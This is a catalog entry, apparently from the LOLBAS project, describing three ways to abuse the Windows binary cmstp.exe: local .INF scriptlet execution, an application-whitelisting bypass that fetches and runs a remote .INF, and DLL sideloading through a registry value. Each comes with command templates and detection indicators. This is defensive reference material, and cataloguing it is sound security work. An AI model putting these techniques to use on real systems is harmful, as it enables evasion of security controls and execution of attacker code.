Catalog LOLBAS

LOL · Binary

Cmstp.exe

3 techniques WindowsLOLBAS GPL-3.0

Execute

Execution Windows

Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

Use Execute code hidden within an inf file. Download and run scriptlets from internet.

cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}
Context
user
Native
Execute
Detection
IOC: Execution of cmstp.exe without a VPN use case is suspicious
IOC: DotNet CLR libraries loaded into cmstp.exe
IOC: DotNet CLR Usage Log - cmstp.exe.log
IOC: Registry modification to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll

AWL Bypass

AWL / Policy Bypass Windows

Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

Use Execute code hidden within an inf file. Execute code directly from Internet.

cmstp.exe /ni /s {REMOTEURL:.inf}
Context
user
Native
AWL Bypass
Detection
IOC: Execution of cmstp.exe without a VPN use case is suspicious
IOC: DotNet CLR libraries loaded into cmstp.exe
IOC: DotNet CLR Usage Log - cmstp.exe.log
IOC: Registry modification to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll

Execute

Execution Windows

cmstp.exe reads the `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll` registry value and passes its data directly to `LoadLibrary`. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via `cmstp.exe`.

Use Proxy execution of a malicious DLL via registry modification.

cmstp.exe /nf
Context
admin
Native
Execute
Detection
IOC: Execution of cmstp.exe without a VPN use case is suspicious
IOC: DotNet CLR libraries loaded into cmstp.exe
IOC: DotNet CLR Usage Log - cmstp.exe.log
IOC: Registry modification to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll